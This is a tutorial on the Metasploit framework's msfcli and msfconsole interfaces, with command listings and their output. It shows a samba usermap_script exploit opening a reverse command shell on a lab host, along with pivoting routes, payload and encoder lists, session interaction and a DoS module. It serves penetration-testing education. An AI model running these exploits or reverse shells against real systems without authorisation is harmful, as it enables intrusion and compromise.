Metasploit Fundamentals
There are many different interfaces to the Metasploit framework, each with their own strengths and weaknesses. As such, there is no one perfect interface to use with MSF, although the msfconsole is the only supported way to access most features of the Framework. It is still beneficial, however, to be comfortable with all the interfaces that MSF offers.The next module will provide an overview of the various interfaces, along with some discussion where each is best utilized.
Msfcli
Msfcli provides a powerful command-line interface to the framework.root@kali:~# msfcli -h
Usage: /opt/metasploit/msf3/msfcli [mode]
======================================================================
Mode Description
---- -----------
(A)dvanced Show available advanced options for this module
(AC)tions Show available actions for this auxiliary module
(C)heck Run the check routine of the selected module
(E)xecute Execute the selected module
(H)elp You're looking at it baby!
(I)DS Evasion Show available ids evasion options for this module
(O)ptions Show available options for this module
(P)ayloads Show available payloads for this module
(S)ummary Show information about this module
(T)argets Show available targets for this exploit module
Note that when using msfcli, variables are assigned using '=' and that all options are case-sensitive.
root@kali:~# msfcli exploit/multi/samba/usermap_script RHOST=172.16.194.172 PAYLOAD=cmd/unix/reverse LHOST=172.16.194.163 E
[*] Please wait while we load the module tree...
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
=[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 936 exploits - 500 auxiliary - 151 post
+ -- --=[ 252 payloads - 28 encoders - 8 nops
=[ svn r15767 updated today (2012.08.22)
RHOST => 172.16.194.172
PAYLOAD => cmd/unix/reverse
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo cSKqD83oiquo0xMr;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "cSKqD83oiquo0xMr\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.194.163:4444 -> 172.16.194.172:57682) at 2012-06-14 09:58:19 -0400
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
If you aren't entirely sure about what options belong to a particular module, you can append the letter 'O' to the end of the string at whichever point you are stuck.
root@kali:~# msfcli exploit/multi/samba/usermap_script O
[*] Please wait while we load the module tree...
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 139 yes The target port
To display the payloads that are available for the current module, append the letter 'P' to the command-line string.
root@kali:~# msfcli exploit/multi/samba/usermap_script P
[*] Please wait while we load the module tree...
Compatible payloads
===================
Name Description
---- -----------
cmd/unix/bind_inetd Listen for a connection and spawn a command shell (persistent)
cmd/unix/bind_netcat Listen for a connection and spawn a command shell via netcat
cmd/unix/bind_netcat_ipv6 Listen for a connection and spawn a command shell via netcat
cmd/unix/bind_perl Listen for a connection and spawn a command shell via perl
cmd/unix/bind_perl_ipv6 Listen for a connection and spawn a command shell via perl
cmd/unix/bind_ruby Continually listen for a connection and spawn a command shell via Ruby
cmd/unix/bind_ruby_ipv6 Continually listen for a connection and spawn a command shell via Ruby
cmd/unix/generic Executes the supplied command
cmd/unix/reverse Creates an interactive shell through two inbound connections
cmd/unix/reverse_netcat Creates an interactive shell via netcat
cmd/unix/reverse_perl Creates an interactive shell via perl
cmd/unix/reverse_ruby Connect back and create a command shell via Ruby
The other options available to msfcli are available by issuing 'msfcli -h'.
Benefits of mscli
- Supports the launching of exploits and auxiliary modules
- Useful for specific tasks
- Good for learning
- Convenient to use when testing or developing a new exploit
- Good tool for one-off exploitation
- Excellent if you know exactly which exploit and options you need
- Wonderful for use in scripts and basic automation
The only real drawback of msfcli is that it is not supported quite as well as msfconsole and it can only handle one shell at a time, making it rather impractical for client-side attacks. It also doesn't support any of the advanced automation features of msfconsole.
Msfconsole
The msfconsole is probably the most popular interface to the MSF. It provides an "all-in-one" centralized console and allows you efficient access to virtually all of the options available in the Metasploit Framework. Msfconsole may seem intimidating at first, but once you learn the syntax of the commands you will learn to appreciate the power of utilizing this interface.Benefits
- It is the only supported way to access most of the features within Metasploit.
- Provides a console-based interface to the framework
- Contains the most features and is the most stable MSF interface
- Full readline support, tabbing, and command completion
- Execution of external commands in msfconsole is possible:
msf > ping -c 1 192.168.1.100
[*] exec: ping -c 1 192.168.1.100
PING 192.168.1.100 (192.168.1.100) 56(84) bytes of data.
64 bytes from 192.168.1.100: icmp_seq=1 ttl=128 time=10.3 ms
--- 192.168.1.100 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 10.308/10.308/10.308/0.000 ms
msf >
Launching
The msfconsole is launched by simply running 'msfconsole' from the command line. msfconsole is located in the /opt/metasploit/msf3 directory.root@kali:# msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
=[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 936 exploits - 500 auxiliary - 151 post
+ -- --=[ 252 payloads - 28 encoders - 8 nops
=[ svn r15767 updated today (2012.08.22)
msf >
Help
You can pass '-h' to msfconsole to see the other usage options available to you.root@kali:~# msfconsole -h
Usage: msfconsole [options]
Specific options:
-d Execute the console as defanged
-r Execute the specified resource file
-o Output to the specified file
-c Load the specified configuration file
-m Specifies an additional module search path
-p Load a plugin on startup
-y, --yaml Specify a YAML file containing database settings
-e , Specify the database environment to load from the YAML
--environment
-v, --version Show version
-L, --real-readline Use the system Readline library instead of RbReadline
-n, --no-database Disable database support
-q, --quiet Do not print the banner on start up
Common options:
-h, --help Show this message
Entering 'help' or a '?' once in the msf command prompt will display a listing of available commands along with a description of what they are used for.
msf > help
Core Commands
=============
Command Description
------- -----------
? Help menu
back Move back from the current context
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
exit Exit the console
help Help menu
info Displays information about one or more module
irb Drop into irb scripting mode
jobs Displays and manages jobs
kill Kill a job
load Load a framework plugin
loadpath Searches for and loads modules from a path
makerc Save commands entered since start to a file
quit Exit the console
reload_all Reloads all modules from all defined module paths
resource Run the commands stored in a file
...snip...
Tab Completion
The msfconsole is designed to be fast to use and one of the features that helps this goal is tab completion. With the wide array of modules available, it can be difficult to remember the exact name and path of the particular module you wish to make use of. As with most other shells, entering what you know and pressing 'Tab' will present you with a list of options available to you or auto-complete the string if there is only one option. Tab completion depends on the ruby readline extension and nearly every command in the console supports tab completion.- use exploit/windows/dce
- use .*netapi.*
- set LHOST
- show
- set TARGET
- set PAYLOAD windows/shell/
- exp
msf > use exploit/windows/smb/ms
use exploit/windows/smb/ms03_049_netapi
use exploit/windows/smb/ms04_007_killbill
use exploit/windows/smb/ms04_011_lsass
use exploit/windows/smb/ms04_031_netdde
use exploit/windows/smb/ms05_039_pnp
use exploit/windows/smb/ms06_025_rasmans_reg
use exploit/windows/smb/ms06_025_rras
use exploit/windows/smb/ms06_040_netapi
use exploit/windows/smb/ms06_066_nwapi
use exploit/windows/smb/ms06_066_nwwks
use exploit/windows/smb/ms06_070_wkssvc
use exploit/windows/smb/ms07_029_msdns_zonename
use exploit/windows/smb/ms08_067_netapi
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
use exploit/windows/smb/ms10_061_spoolss
msf > use exploit/windows/smb/ms08_067_netapi
Msfconsole Commands
The msfconsole has many different command options to chose from.back
Once you have finished working with a particular module, or if you inadvertently select the wrong module, you can issue the 'back' command to move out of the current context. This, however is not required. Just as you can in commercial routers, you can switch modules from within other modules. As a reminder, variables will only carry over if they are set globally.msf auxiliary(ms09_001_write) > back
msf >
check
There aren't many exploits that support it, but there is also a 'check' option that will check to see if a target is vulnerable to a particular exploit instead of actually exploiting it.msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 172.16.194.134 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > check
[*] Verifying vulnerable status... (path: 0x0000005a)
[*] System is not vulnerable (status: 0x00000000)
[*] The target is not exploitable.
msf exploit(ms08_067_netapi) >
connect
There is a miniature netcat clone built into the msfconsole that supports SSL, proxies, pivoting, and file sends. By issuing the 'connect' command with an ip address and port number, you can connect to a remote host from within msfconsole the same as you would with netcat or telnet.msf > connect 192.168.1.1 23
[*] Connected to 192.168.1.1:23
DD-WRT v24 std (c) 2008 NewMedia-NET GmbH
Release: 07/27/08 (SVN revision: 10011)
DD-WRT login:
You can see all the additional options by issuing the "-h" parameter.
msf > connect -h
Usage: connect [options]
Communicate with a host, similar to interacting via netcat, taking advantage of
any configured session pivoting.
OPTIONS:
-C Try to use CRLF for EOL sequence.
-P <opt> Specify source port.
-S <opt> Specify source address.
-c <opt> Specify which Comm to use.
-h Help banner.
-i <opt> Send the contents of a file.
-p <opt> List of proxies to use.
-s Connect with SSL.
-u Switch to a UDP socket.
-w <opt> Specify connect timeout.
-z Just try to connect, then return.
msf >
info
The 'info' command will provide detailed information about a particular module including all options, targets, and other information. Be sure to always read the module description prior to using it as some may have un-desired effects.The info command also provides the following information:
- The author and licensing information
- Vulnerability references (ie: CVE, BID, etc)
- Any payload restrictions the module may have
msf exploit(ms09_050_smb2_negotiate_func_index) > info exploit/windows/smb/ms09_050_smb2_negotiate_func_index
Name: Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
Module: exploit/windows/smb/ms09_050_smb2_negotiate_func_index
Version: 14774
Platform: Windows
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Good
Provided by:
Laurent Gaffie
hdm
sf
Available targets:
Id Name
-- ----
0 Windows Vista SP1/SP2 and Server 2008 (x86)
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes The target port
WAIT 180 yes The number of seconds to wait for the attack to complete.
Payload information:
Space: 1024
Description:
This module exploits an out of bounds function table dereference in
the SMB request validation code of the SRV2.SYS driver included with
Windows Vista, Windows 7 release candidates (not RTM), and Windows
2008 Server prior to R2. Windows Vista without SP1 does not seem
affected by this flaw.
References:
http://www.microsoft.com/technet/security/bulletin/MS09-050.mspx
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3103
http://www.securityfocus.com/bid/36299
http://www.osvdb.org/57799
http://seclists.org/fulldisclosure/2009/Sep/0039.html
http://www.microsoft.com/technet/security/Bulletin/MS09-050.mspx
msf exploit(ms09_050_smb2_negotiate_func_index) >
irb
Running the 'irb' command will drop you into a live Ruby interpreter shell where you can issue commands and create Metasploit scripts on the fly. This feature is also very useful for understanding the internals of the Framework.msf > irb
[*] Starting IRB shell...
>> puts "Hello, metasploit!"
Hello, metasploit!
=> nil
>> Framework::Version
=> "4.4.0-dev"
>> framework.modules.keys.length
=> 1791
>>
jobs
Jobs are modules that are running in the background. The 'jobs' command provides the ability to list and terminate these jobs.msf > jobs -h
Usage: jobs [options]
Active job manipulation and interaction.
OPTIONS:
-K Terminate all running jobs.
-h Help banner.
-i <opt> Lists detailed information about a running job.
-k <opt> Terminate the specified job name.
-l List all running jobs.
-v Print more detailed info. Use with -i and -l
msf >
load
The 'load' command loads a plugin from Metasploit's 'plugin' directory. Arguments are passed as 'key=val' on the shell.msf > load
Usage: load [var=val var=val ...]
Loads a plugin from the supplied path. If path is not absolute, fist looks
in the user's plugin directory (/root/.msf4/plugins) then
in the framework root plugin directory (/opt/metasploit/msf3/plugins).
The optional var=val options are custom parameters that can be passed to plugins.
msf > load pcap_log
[*] PcapLog plugin loaded.
[*] Successfully loaded plugin: pcap_log
loadpath
The 'loadpath' command will load a third-part module tree for the path so you can point Metasploit at your 0-day exploits, encoders, payloads, etc.msf > loadpath /home/secret/modules
Loaded 0 modules.
unload
Conversely, the 'unload' command unloads a previously loaded plugin and removes any extended commands.msf > unload pcap_log
Unloading plugin pcap_log...unloaded.
resource
The 'resource' command runs resource (batch) files that can be loaded through msfconsole.msf > resourceSome attacks such as Karmetasploit use resource files to run a set of commands in a [karma.rc file PUT SOMETHING HERE] to create an attack. Later on we will discuss how, outside of Karmetasploit, that can be very useful.
Usage: resource path1 [path2 ...]
Run the commands stored in the supplied files. Resource files may also contain
ruby code between tags.
See also: makerc
msf >
msf > resource karma.rc
[*] Processing karma.rc for ERB directives.
resource (karma.rc)> db_connect msf3:PASSWORD@127.0.0.1:7175/msf3
resource (karma.rc)> use auxiliary/server/browser_autopwn
...snip...
Batch files can greatly speed up testing and development times as well as allow the user to automate many tasks. Besides loading a batch file from within msfconsole, they can also be passed at startup using the '-r' flag. The simple example below creates a batch file to display the Metasploit version number at startup.
root@kali:~# echo version > version.rc
root@kali:~# msfconsole -r version.rc
_ _
/ \ / \ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | | | | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | |_ \__/ | | | |_
|/ |____/ \___\/ /\ \___/ \/ \__| |_\ \___\
=[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 936 exploits - 500 auxiliary - 151 post
+ -- --=[ 252 payloads - 28 encoders - 8 nops
=[ svn r15767 updated today (2012.08.22)
[*] Processing version.rc for ERB directives.
resource (version.rc)> version
Framework: 4.4.0-dev.15205
Console : 4.4.0-dev.15168
msf >
route
The "route" command in Metasploit allows you to route sockets through a session or 'comm', providing basic pivoting capabilities. To add a route, you pass the target subnet and network mask followed by the session (comm) number.meterpreter > route -h
Usage: route [-h] command [args]
Display or modify the routing table on the remote machine.
Supported commands:
add [subnet] [netmask] [gateway]
delete [subnet] [netmask] [gateway]
list
meterpreter >
meterpreter > route
Network routes
==============
Subnet Netmask Gateway
------ ------- -------
0.0.0.0 0.0.0.0 172.16.1.254
127.0.0.0 255.0.0.0 127.0.0.1
172.16.1.0 255.255.255.0 172.16.1.100
172.16.1.100 255.255.255.255 127.0.0.1
172.16.255.255 255.255.255.255 172.16.1.100
224.0.0.0 240.0.0.0 172.16.1.100
255.255.255.255 255.255.255.255 172.16.1.100
search
The msfconsole includes an extensive regular-expression based search functionality. If you have a general idea of what you are looking for you can search for it via 'search '. In the output below, a search is being made for MS Bulletin MS09-011. The search function will locate this string within the module names, descriptions, references, etc.Note the naming convention for Metasploit modules uses underscores versus hyphens.
msf > search usermap_script
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/multi/samba/usermap_script 2007-05-14 excellent Samba "username map script" Command Execution
msf >
help
You can further refine your searches by using the built-in keyword system.msf > help search
Usage: search [keywords]
Keywords:
name : Modules with a matching descriptive name
path : Modules with a matching path or reference name
platform : Modules affecting this platform
type : Modules of a specific type (exploit, auxiliary, or post)
app : Modules that are client or server attacks
author : Modules written by this author
cve : Modules with a matching CVE ID
bid : Modules with a matching Bugtraq ID
osvdb : Modules with a matching OSVDB ID
Examples:
search cve:2009 type:exploit app:client
msf >
name
To search using a descriptive name, use the "name" keyword.msf > search name:mysql
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/mysql/mysql_enum normal MySQL Enumeration Module
auxiliary/admin/mysql/mysql_sql normal MySQL SQL Generic Query
auxiliary/analyze/jtr_mysql_fast normal John the Ripper MySQL Password Cracker (Fast Mode)
auxiliary/scanner/mysql/mysql_authbypass_hashdump 2012-06-09 normal MySQL Authentication Bypass Password Dump
auxiliary/scanner/mysql/mysql_hashdump normal MYSQL Password Hashdump
auxiliary/scanner/mysql/mysql_login normal MySQL Login Utility
auxiliary/scanner/mysql/mysql_schemadump normal MYSQL Schema Dump
auxiliary/scanner/mysql/mysql_version normal MySQL Server Version Enumeration
exploit/linux/mysql/mysql_yassl_getname 2010-01-25 good MySQL yaSSL CertDecoder::GetName Buffer Overflow
exploit/linux/mysql/mysql_yassl_hello 2008-01-04 good MySQL yaSSL SSL Hello Message Buffer Overflow
exploit/windows/mysql/mysql_payload 2009-01-16 excellent Oracle MySQL for Microsoft Windows Payload Execution
exploit/windows/mysql/mysql_yassl_hello 2008-01-04 average MySQL yaSSL SSL Hello Message Buffer Overflow
msf >
path
Use the "path" keyword to search within the module paths.msf > search path:scada
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/scada/igss_exec_17 2011-03-21 normal Interactive Graphical SCADA System Remote Command Injection
exploit/windows/scada/citect_scada_odbc 2008-06-11 normal CitectSCADA/CitectFacilities ODBC Buffer Overflow
...snip...
platform
You can use "platform" to narrow down your search to modules that affect a specific platform.msf > search platform:aix
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
payload/aix/ppc/shell_bind_tcp normal AIX Command Shell, Bind TCP Inline
payload/aix/ppc/shell_find_port normal AIX Command Shell, Find Port Inline
payload/aix/ppc/shell_interact normal AIX execve shell for inetd
...snip...
type
Using the "type" lets you filter by module type such as auxiliary, post, exploit, etc.msf > search type:post
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
post/linux/gather/checkvm normal Linux Gather Virtual Environment Detection
post/linux/gather/enum_cron normal Linux Cron Job Enumeration
post/linux/gather/enum_linux normal Linux Gather System Information
...snip...
author
Searching with the "author" keyword lets you search for modules by your favorite author.msf > search author:dookie
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/osx/http/evocam_webserver 2010-06-01 average MacOS X EvoCam HTTP GET Buffer Overflow
exploit/osx/misc/ufo_ai 2009-10-28 average UFO: Alien Invasion IRC Client Buffer Overflow Exploit
exploit/windows/browser/amaya_bdo 2009-01-28 normal Amaya Browser v11.0 bdo tag overflow
...snip...
multiple
You can also combine multiple keywords together to further narrow down the returned results.msf > search cve:2011 author:jduck platform:linux
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/linux/misc/netsupport_manager_agent 2011-01-08 average NetSupport Manager Agent Remote Buffer Overflow
sessions
The 'sessions' command allows you to list, interact with, and kill spawned sessions. The sessions can be shells, Meterpreter sessions, VNC, etc.msf > sessions -hTo list any active sessions, pass the '-l' options to 'sessions'.
Usage: sessions [options]
Active session manipulation and interaction.
OPTIONS:
-K Terminate all sessions
-c <opt> Run a command on the session given with -i, or all
-d <opt> Detach an interactive session
-h Help banner
-i <opt> Interact with the supplied session ID
-k <opt> Terminate session
-l List all active sessions
-q Quiet mode
-r Reset the ring buffer for the session given with -i, or all
-s <opt> Run a script on the session given with -i, or all
-u <opt> Upgrade a win32 shell to a meterpreter session
-v List verbose fields
msf exploit(3proxy) > sessions -l
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Command shell 192.168.1.101:33191 -> 192.168.1.104:4444
To interact with a given session, you just need to use the '-i' switch followed by the Id number of the session.
msf exploit(3proxy) > sessions -i 1
[*] Starting interaction with 1...
C:\WINDOWS\system32>
set
The 'set' command allows you to configure Framework options and parameters for the current module you are working with.msf auxiliary(ms09_050_smb2_negotiate_func_index) > set RHOST 172.16.194.134
RHOST => 172.16.194.134
msf auxiliary(ms09_050_smb2_negotiate_func_index) > show options
Module options (exploit/windows/smb/ms09_050_smb2_negotiate_func_index):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 172.16.194.134 yes The target address
RPORT 445 yes The target port
WAIT 180 yes The number of seconds to wait for the attack to complete.
Exploit target:
Id Name
-- ----
0 Windows Vista SP1/SP2 and Server 2008 (x86)
Metasploit also allows you the ability to set an encoder to use at run-time. This is particularly useful in exploit development when you aren't quite certain as to which payload encoding methods will work with an exploit.
msf exploit(ms09_050_smb2_negotiate_func_index) > show encoders
Compatible Encoders
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
generic/none normal The "none" Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
unset
The opposite of the 'set' command, of course, is 'unset'. 'Unset' removes a parameter previously configured with 'set'. You can remove all assigned variables with 'unset all'.msf > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf > set THREADS 50
THREADS => 50
msf > set
Global
======
Name Value
---- -----
RHOSTS 192.168.1.0/24
THREADS 50
msf > unset THREADS
Unsetting THREADS...
msf > unset all
Flushing datastore...
msf > set
Global
======
No entries in data store.
msf >
setg
In order to save a lot of typing during a pentest, you can set global variables within msfconsole. You can do this with the 'setg' command. Once these have been set, you can use them in as many exploits and auxiliary modules as you like. You can also save them for use the next time your start msfconsole. However, the pitfall is forgetting you have saved globals, so always check your options before you "run" or "exploit". Conversely, you can use the "unsetg" command to unset a global variable. In the examples that follow, variables are entered in all-caps (ie: LHOST), but Metasploit is case-insensitive so it is not necessary to do so.msf > setg LHOST 192.168.1.101
LHOST => 192.168.1.101
msf > setg RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf > setg RHOST 192.168.1.136
RHOST => 192.168.1.136
After setting your different variables, you can run the 'save' command to save your current environment and settings. With your settings saved, they will be automatically loaded on startup which saves you from having to set everything again.
msf > save
Saved configuration to: /root/.msf3/config
msf >
show
Entering 'show' at the msfconsole prompt will display every module within Metasploit.msf > show
Encoders
========
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
...snip...
There are a number of 'show' commands you can use but the ones you will use most frequently are 'show auxiliary', 'show exploits', 'show payloads', 'show encoders', and 'show nops'.
auxiliary
Executing 'show auxiliary' will display a listing of all of the available auxiliary modules within Metasploit. As mentioned earlier, auxiliary modules include scanners, denial of service modules, fuzzers, and more.msf > show auxiliary
Auxiliary
=========
Name Disclosure Date Rank Description
---- --------------- ---- -----------
admin/2wire/xslt_password_reset 2007-08-15 normal 2Wire Cross-Site Request Forgery Password Reset Vulnerability
admin/backupexec/dump normal Veritas Backup Exec Windows Remote File Access
admin/backupexec/registry normal Veritas Backup Exec Server Registry Access
...snip...
exploits
Naturally, 'show exploits' will be the command you are most interested in running since at its core, Metasploit is all about exploitation. Run 'show exploits' to get a listing of all exploits contained in the framework.msf > show exploits
Exploits
========
Name Disclosure Date Rank Description
---- --------------- ---- -----------
aix/rpc_cmsd_opcode21 2009-10-07 great AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow
aix/rpc_ttdbserverd_realpath 2009-06-17 great ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)
bsdi/softcart/mercantec_softcart 2004-08-19 great Mercantec SoftCart CGI Overflow
...snip...
payloads
Running 'show payloads' will display all of the different payloads for all platforms available within Metasploit.msf > show payloads
Payloads
========
Name Disclosure Date Rank Description
---- --------------- ---- -----------
aix/ppc/shell_bind_tcp normal AIX Command Shell, Bind TCP Inline
aix/ppc/shell_find_port normal AIX Command Shell, Find Port Inline
aix/ppc/shell_interact normal AIX execve shell for inetd
...snip...
payloads
As you can see, there are a lot of payloads available. Fortunately, when you are in the context of a particular exploit, running 'show payloads' will only display the payloads that are compatible with that particular exploit. For instance, if it is a Windows exploit, you will not be shown the Linux payloads.msf exploit(ms08_067_netapi) > show payloads
Compatible Payloads
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
generic/custom normal Custom Payload
generic/debug_trap normal Generic x86 Debug Trap
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
...snip...
options
If you have selected a specific module, you can issue the 'show options' command to display which settings are available and/or required for that specific module.msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
targets
If you aren't certain whether an operating system is vulnerable to a particular exploit, run the 'show targets' command from within the context of an exploit module to see which targets are supported.msf exploit(ms08_067_netapi) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
10 Windows 2003 SP1 Japanese (NO NX)
11 Windows 2003 SP2 English (NO NX)
12 Windows 2003 SP2 English (NX)
...snip...
advanced
If you wish the further fine-tune an exploit, you can see more advanced options by running 'show advanced'.msf exploit(ms08_067_netapi) > show advanced
Module advanced options:
Name : CHOST
Current Setting:
Description : The local client address
Name : CPORT
Current Setting:
Description : The local client port
...snip...
encoders
Running 'show encoders' will display a listing of the encoders that are available within MSF.msf > show encoders
Compatible Encoders
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
nops
Lastly, issuing the 'show nops' command will display the NOP Generators that Metasploit has to offer.msf > show nops
NOP Generators
==============
Name Disclosure Date Rank Description
---- --------------- ---- -----------
armle/simple normal Simple
php/generic normal PHP Nop Generator
ppc/simple normal Simple
sparc/random normal SPARC NOP generator
tty/generic normal TTY Nop Generator
x64/simple normal Simple
x86/opty2 normal Opty2
x86/single_byte normal Single Byte
use
When you have decided on a particular module to make use of, issue the 'use' command to select it. The 'use' command changes your context to a specific module, exposing type-specific commands. Notice in the output below that any global variables that were previously set are already configured.msf > use dos/windows/smb/ms09_001_write
msf auxiliary(ms09_001_write) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
msf auxiliary(ms09_001_write) >
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